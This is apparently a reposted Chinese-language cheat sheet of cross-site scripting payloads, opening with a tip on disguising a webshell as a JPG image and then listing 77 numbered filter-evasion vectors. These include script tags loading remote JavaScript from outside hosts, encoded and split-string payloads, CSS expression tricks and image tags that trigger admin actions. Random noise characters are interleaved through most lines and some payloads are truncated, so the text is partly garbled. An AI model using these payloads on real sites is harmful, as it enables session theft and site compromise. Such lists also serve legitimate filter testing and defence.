跨站图片shell- q5 W2 U# b- x
XSS跨站代码 <script>alert("")</script>8 b( v+ q+ j' c; Z D5 R5 t: j
: g% e$ c! d/ h! X; e将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
, N5 y1 P1 B5 @ i, w: ?
, N; c6 G6 H+ w4 r- z# j) X' h8 v6 R% P# e; B
5 V* E7 c* n( T& J% N1)普通的XSS JavaScript注入% Z5 F; ]; B0 l$ y
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>( [* E2 k0 [" x# } h9 M+ O0 W
5 p* U- ?' `3 ~
(2)IMG标签XSS使用JavaScript命令
9 e% Y' N& J2 p8 q0 m4 r<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
' |4 b$ X$ I+ S
7 Y4 ?$ @0 k2 E% F5 s' C(3)IMG标签无分号无引号9 w3 W. i, H. j+ y2 `
<IMG SRC=javascript:alert(‘XSS’)>' j4 i! b7 H& h9 m: p
" N3 ?" W+ d: _5 ^% L
(4)IMG标签大小写不敏感5 V2 k: R5 O- E
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
: F2 J. A: I2 R, E
8 W6 ^0 M" b1 X! {% a* T(5)HTML编码(必须有分号)
" W2 m& }) B% D( z& M<IMG SRC=javascript:alert(“XSS”)>
& `- q; w3 p7 i6 y+ b5 A% B- K7 @$ b
(6)修正缺陷IMG标签
. ]7 {6 l1 r" Q; |* Y; v! G9 K<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
# n# z* s! I4 [
5 w z+ \: d- J+ p0 ]! n7 G% L(7)formCharCode标签(计算器): @$ o2 D# t& z$ L, x
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>- i! T- q4 [; S
# P T8 X* J1 p4 w2 r. [! Y(8)UTF-8的Unicode编码(计算器)4 o- d7 S: [- u$ X) Q9 z+ L; p2 M
<IMG SRC=jav..省略..S')>
5 O) e1 v* A! ^% G7 v% n8 Q7 W% A4 ~" K C5 c5 j
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
- Q, e! S9 F$ g# `<IMG SRC=jav..省略..S')>
6 i7 F$ x7 |* S1 T7 r4 n" y5 v& \8 n6 _. Q
(10)十六进制编码也是没有分号(计算器)7 |2 q. X1 l; D* X$ O* Z2 O
<IMG SRC=java..省略..XSS')>7 t s4 G8 o8 ?, A
; j1 ^% Y! j0 m/ K1 A6 Y8 ]
(11)嵌入式标签,将Javascript分开
5 @- h6 O& q7 z<IMG SRC=”jav ascript:alert(‘XSS’);”>
! v' C$ P+ k* r0 R, {6 _& J0 [; Z4 r, R7 Q; V; a
(12)嵌入式编码标签,将Javascript分开
* C6 _: K9 p5 T. o<IMG SRC=”jav ascript:alert(‘XSS’);”>% A) V0 r% y: j9 y3 z; w; b
2 H3 ~% A* F4 i, }: Q: D
(13)嵌入式换行符
9 k% W2 q+ y3 R6 R, ]; v<IMG SRC=”jav ascript:alert(‘XSS’);”> m% X+ Y) C% e. l
* ^; o" a! e0 ~/ _$ q. u2 _) f' U& e(14)嵌入式回车
8 { |7 A' x" r4 L<IMG SRC=”jav ascript:alert(‘XSS’);”>! K/ w5 y( k! W* L7 ], M
4 @' ]8 z2 l% Z7 J! J3 ^) N(15)嵌入式多行注入JavaScript,这是XSS极端的例子
. i3 Y# m; B+ y* ~<IMG SRC=”javascript:alert(‘XSS‘)”>6 B6 o* B6 m2 E2 W9 r; e
1 w6 B# E+ F5 n(16)解决限制字符(要求同页面)
- ~9 B& q3 S9 w+ F# t0 Z' Y# `<script>z=’document.’</script>2 f) r+ Q0 G3 C' J
<script>z=z+’write(“‘</script>
6 m4 ^- e2 z+ V% t3 b0 `<script>z=z+’<script’</script>% o- M8 _% n+ H
<script>z=z+’ src=ht’</script>
7 C$ q7 w+ c5 H% N<script>z=z+’tp://ww’</script>
, f2 ]4 m7 ~' A1 q$ C. D# q<script>z=z+’w.shell’</script>+ [' r& Z2 d7 z1 I" u
<script>z=z+’.net/1.’</script>0 X$ T) D' H/ ~8 ^9 G, k4 n
<script>z=z+’js></sc’</script>
5 @, L7 z' r6 F2 m<script>z=z+’ript>”)’</script>
* `3 ]1 U' @. J7 R8 N" R<script>eval_r(z)</script>
" h1 H0 J+ j1 L/ \( B
, ^9 x" u2 _" b& Y. X/ h* j(17)空字符
% a0 u& Q1 ~* H& P5 ~7 ` o, Kperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
( X/ f6 X. |/ q z9 Q1 `1 l0 g6 S- \
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用5 }6 T& Z# `$ u/ k$ b! S! g
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out' `9 |$ ^& v: Q4 @: e
8 k9 {; w" C s6 R& O0 d# y0 v o
(19)Spaces和meta前的IMG标签+ w" R+ X: r5 a' l
<IMG SRC=” javascript:alert(‘XSS’);”>
% Z) s# Q. D8 C$ Y3 e, O0 [8 Z# i, f. P, T
(20)Non-alpha-non-digit XSS! _. ^3 T7 y& S* Q! j$ ]( J2 X2 @. q# t
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
$ H" o- l* g( o; D5 k, p) L3 i- D4 [' k ]5 D( T& D
(21)Non-alpha-non-digit XSS to 2
2 @7 o* T0 u% _" j! H<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
2 K/ n0 v9 ~3 E# f
7 G8 }- g# M& Z# r3 p+ c/ ?9 C(22)Non-alpha-non-digit XSS to 3
: D7 Z; k5 p" `3 D, B( A8 x1 _8 j, ^<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
w3 u4 n4 C5 B4 \& e
/ b1 p! J& V3 U9 j) o `8 z7 H" F( b(23)双开括号
" w2 |. L$ g( }4 m* H- s<<SCRIPT>alert(“XSS”);//<</SCRIPT>" q( B1 u, ~3 H. P
9 D2 p) O, h3 ]- I! f7 y' [4 C(24)无结束脚本标记(仅火狐等浏览器). s* D( p, A$ j, Q2 c2 }) M/ z3 M L
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>9 O5 a' U) p6 ~) Y+ H! g5 R4 s" [$ w
$ Z3 i* T/ Q6 `) J4 u0 v: T(25)无结束脚本标记2
8 ?' y7 b5 B8 U( _6 @& K) U<SCRIPT SRC=//3w.org/XSS/xss.js>4 Y* y- E, e( G6 u, p6 A: l
3 S) k. e$ l2 E Z1 W/ i
(26)半开的HTML/JavaScript XSS# [8 Z0 J" T( F, o" ?
<IMG SRC=”javascript:alert(‘XSS’)”
! w6 g& c2 J; n
" y! {# M$ R6 E(27)双开角括号( W5 N3 ^: b' T. j) {9 C; u; E
<iframe src=http://3w.org/XSS.html <; w. v( J) t; Y6 g8 y
6 p& C6 c8 H0 v! Y+ h
(28)无单引号 双引号 分号
* _! q; R7 B& h6 @& D/ P0 x<SCRIPT>a=/XSS/- m+ D: a4 ?1 e; i9 o* j
alert(a.source)</SCRIPT>! s0 t/ ]6 ] l
: }% @, I7 ] C* S1 z
(29)换码过滤的JavaScript
- ^7 l! x+ w. z: S1 K\”;alert(‘XSS’);//
$ `) _1 O# J, P2 X9 a
3 k; p0 l' O! e) Q9 R: O(30)结束Title标签5 g, @. w/ z7 r. d& k
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
4 ~* \/ {8 q5 k' O+ I
* D% g" L+ W9 n8 r: ^! w(31)Input Image9 _( e# U: M; G: K8 W
<INPUT SRC=”javascript:alert(‘XSS’);”>1 h/ C* N: |* \% q" E
. }9 o/ _6 N" H6 h3 }5 f
(32)BODY Image& j4 L4 Z. m6 V2 L1 }9 @7 U7 V# i1 B' t
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
* F! ^( w9 ?& j# e5 N/ G4 T# p; m4 X
(33)BODY标签0 Z. m# k2 J, J/ o5 E; V8 Y
<BODY(‘XSS’)>+ g1 t& J! O) w8 m
, M4 L8 }; P. R, a8 S8 H$ v' N, G(34)IMG Dynsrc
" V( y1 j9 D3 W8 ^<IMG DYNSRC=”javascript:alert(‘XSS’)”>5 D$ ?: A$ m* S+ U
. F g, v% v* @) {
(35)IMG Lowsrc& w3 N/ b6 ^& l8 w- X( e- L6 c* W
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
- Y E# R9 ^1 ~8 e4 ~: r
0 S6 [: G) O3 a(36)BGSOUND
+ b0 @* F; P) Q: B- V% o<BGSOUND SRC=”javascript:alert(‘XSS’);”>* q( E; f7 M& U, X$ i! L: t
% Z( r `2 G. _ ?(37)STYLE sheet
' q( q$ ~- l r" H: N1 Y f<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
2 e5 |7 ~" ]. b U7 d
" z7 G- W/ C* B. Z. H(38)远程样式表) [0 G' V' @$ i7 }; ~
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
7 Z/ D& N1 v8 ?: i, f7 \9 e# u! H8 O2 Z) J! a0 y, z/ l
(39)List-style-image(列表式)
) P3 F6 \. u* g' R# f<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
% N3 i- ?1 x# c2 h
, t8 S" m" F9 L) [* a" X(40)IMG VBscript; u8 Y. z. Q& z" N; F) L
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS& }5 t) r- U. e# C( K
# B* p$ a7 w- O% v(41)META链接url
- u F. o5 r. i2 \" w<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
4 P# ]! h8 V5 x% y7 N9 z- ^& k" V1 |) ?! k
(42)Iframe. n" p* [4 L( q9 ?
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
+ M, K9 `& x8 @) M0 z2 P! o# T$ L(43)Frame* H) l- n1 U3 Q0 f4 P" K* Y
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
6 _- v B4 x( p" s# N
' a" P, s7 y$ t+ Q(44)Table' j+ Y7 v" @$ V1 t( @
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
) ]! s- ?* L, d- \" b( B* q9 C& E* P4 @' ~2 y3 W# ^
(45)TD
( ?) o& ]* P1 w/ t<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
2 {. b" s% c3 S6 ^
) N; U* k ] C7 \$ C. v# f(46)DIV background-image' g9 u# m6 t4 @
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>6 x$ v- P& S6 K. s% k
5 \- ^/ p5 ?4 h2 I+ R(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
; E0 ^6 ]1 l/ i<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>3 K$ v0 y* |" B, A1 K8 l
7 x+ @: G$ Y, s! n( P V, b/ Q(48)DIV expression9 k# P6 [: Z7 `# j5 F) P4 w
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>+ B" ~0 c# M% P1 E2 H4 l/ O
0 A) k& {3 z4 q! O: M% [, R(49)STYLE属性分拆表达8 u& V# h7 e: [0 e7 s1 f* P6 \/ I @+ X
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
* Y M9 T7 S$ D" ~/ s# n
. ^2 r. \) y& S( o+ l(50)匿名STYLE(组成:开角号和一个字母开头)/ P/ E* B" x) y( i
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
5 Y) R" g% p6 J4 G
, R4 R% m( Q0 R(51)STYLE background-image3 k& G" Y% P( z1 c# O L
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>- z8 q* W6 n. s8 T1 l3 p1 q
/ U; K$ G) m0 E0 H- i. v9 ]: K(52)IMG STYLE方式6 G; K: q: ]; i$ |0 q) @9 _
exppression(alert(“XSS”))’>, i9 y7 g! f' h0 v3 Q: u2 y
+ c9 {5 Y, @- ?$ A" z
(53)STYLE background
# }5 G2 ^! M8 K4 i+ W# d6 w4 D7 t<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>1 F$ S$ N" q8 h" G7 l) |
9 E7 t3 y( P0 x
(54)BASE
! ]; x& m5 o1 o5 C2 U1 _0 r, h<BASE HREF=”javascript:alert(‘XSS’);//”>, r2 \: l" D$ G6 C7 L/ }
# ?) U2 b" _( b x6 T. W
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
/ y8 Q. o9 Q6 l7 l* p5 m5 z<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>) o/ |0 y' t- J. q2 T
5 K; j. a8 Q4 S' `4 L# t(56)在flash中使用ActionScrpt可以混进你XSS的代码: h0 s; L. o5 |3 k2 v
a=”get”;) `( X+ l& q0 g% Q( ]
b=”URL(\”";
. [0 s/ ~0 _# u/ K' H, S, Gc=”javascript:”;" T& L" C$ h d9 _, h ]
d=”alert(‘XSS’);\”)”;
6 c+ `, a9 h w! w- e- meval_r(a+b+c+d);
; t, x ^8 q, \+ z: S4 b* ?* G9 Q; v0 G X0 I- E9 k
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
" |6 t1 g# e1 [1 U% C/ L<HTML xmlns:xss>& }$ k; i( M" G- ~
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
$ @/ e$ ?+ r4 f. g& @<xss:xss>XSS</xss:xss>
; c2 g0 c1 T5 i- R. E7 M</HTML>' X0 ~% `+ D% e2 w
! {5 X- R, J: e: u% E(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
u$ p1 l3 Y( P, _4 {$ f<SCRIPT SRC=””></SCRIPT>
9 `1 C. P# N( m# w' b0 f5 {: d/ S. t$ w. P
(59)IMG嵌入式命令,可执行任意命令; c. ?$ c& S7 G/ N7 S
<IMG SRC=”http://www.XXX.com/a.php?a=b”>: | }: f+ W" q4 T* Z6 f* o/ N0 ~' I
1 v. X2 d5 ~$ [8 N; a(60)IMG嵌入式命令(a.jpg在同服务器)" ]/ M( h, t9 }, G3 o( Y4 y( N r
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
% D- F. t" b2 S0 {; I+ S
8 B- Q; E9 t- b. |9 m(61)绕符号过滤0 {' I" B) l: n @7 V
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
9 i( g+ C b$ Z( F) V4 n) V6 k$ u- M! t F- |/ c+ r
(62)
3 B; c8 p. }/ j( E<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>4 L+ u: G, J. S) q
8 E, Q4 I9 D/ \& y
(63)
% d- D, u- K7 m% r<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>$ ^* {, M( A7 O
/ n; ~" E0 j6 d2 J( `; @' x
(64)
3 h7 t! L; B; Z1 A- ~5 {% f<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>" w6 L3 V/ X N
) ], W" C8 e9 F4 b* S(65)/ [4 Y/ V2 }5 `# Y5 p% J# B7 Q* ]% D
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>' ]8 t7 h2 O+ Z" G
% T, m7 e! D, X3 ]* |(66)
, Q7 i5 x3 `5 E" L$ y4 Q" B<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>' T9 J n# g9 q, v" }
4 u! [6 p- A* `4 t& H
(67)
0 M! S- `# j% D2 |# G( T/ D8 S5 o<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
% n* {' {6 I P ~0 A2 y# ^ E# }+ M' V) C6 r( S
(68)URL绕行
. t- f$ C8 ^$ C% g! @8 L<A HREF=”http://127.0.0.1/”>XSS</A>
2 W, P7 r0 p" w
U+ V/ d( A, B% r* k(69)URL编码; [" E/ F( ]6 f3 `: ^
<A HREF=”http://3w.org”>XSS</A>" P/ k5 v* r' Q: ~: f. ^: u
+ _8 P" _ c: K6 E2 x(70)IP十进制$ W) ?9 k9 k( g4 C
<A HREF=”http://3232235521″>XSS</A>* k& i6 C9 v! ?9 y; c! D
- c" L% t% F6 s& k
(71)IP十六进制! d8 u9 B# y6 K8 X; S+ g; x) {6 M
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>9 n# d- s' t) U: Y' G, s
6 B( W+ c8 b3 a3 r8 m# X. V
(72)IP八进制
& X0 }0 w' Y5 q3 O2 m! K! n: W<A HREF=”http://0300.0250.0000.0001″>XSS</A>% G5 Y: i( G; G0 Y& {, _9 o; ^
2 G6 S2 I+ W _3 }0 V9 c+ V/ L8 ~
(73)混合编码
0 S: M/ L8 f! s$ _# O<A HREF=”h5 m% _! \3 k& k8 G
tt p://6 6.000146.0×7.147/”">XSS</A>
0 }5 h3 }. l+ q; S4 x4 b Y2 N* P$ k5 W0 S% k0 k: R4 }! F
(74)节省[http:]
! q4 g7 F% Y1 q" W* x8 l! R! t* K<A HREF=”//www.google.com/”>XSS</A>
& b# n1 b$ K( _0 D. m8 l6 [
7 }) f5 r" D9 v: E* z# m(75)节省[www]4 q& j5 p: x5 N9 c7 j# c
<A HREF=”http://google.com/”>XSS</A>) s5 ~! ]/ g1 f, |8 K3 [6 w4 t
w8 a2 X2 I* H* X u* h) B' I(76)绝对点绝对DNS* g+ o! b ]* s3 S8 a+ Z6 k K$ q+ S
<A HREF=”http://www.google.com./”>XSS</A>
# J; [' K0 z1 e4 L! o4 m K; a- k/ F; P0 E$ y
(77)javascript链接
) c+ H' U( k/ S6 a* x* N! w<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>2 D$ @: y% V( o8 K* p1 G7 ~
|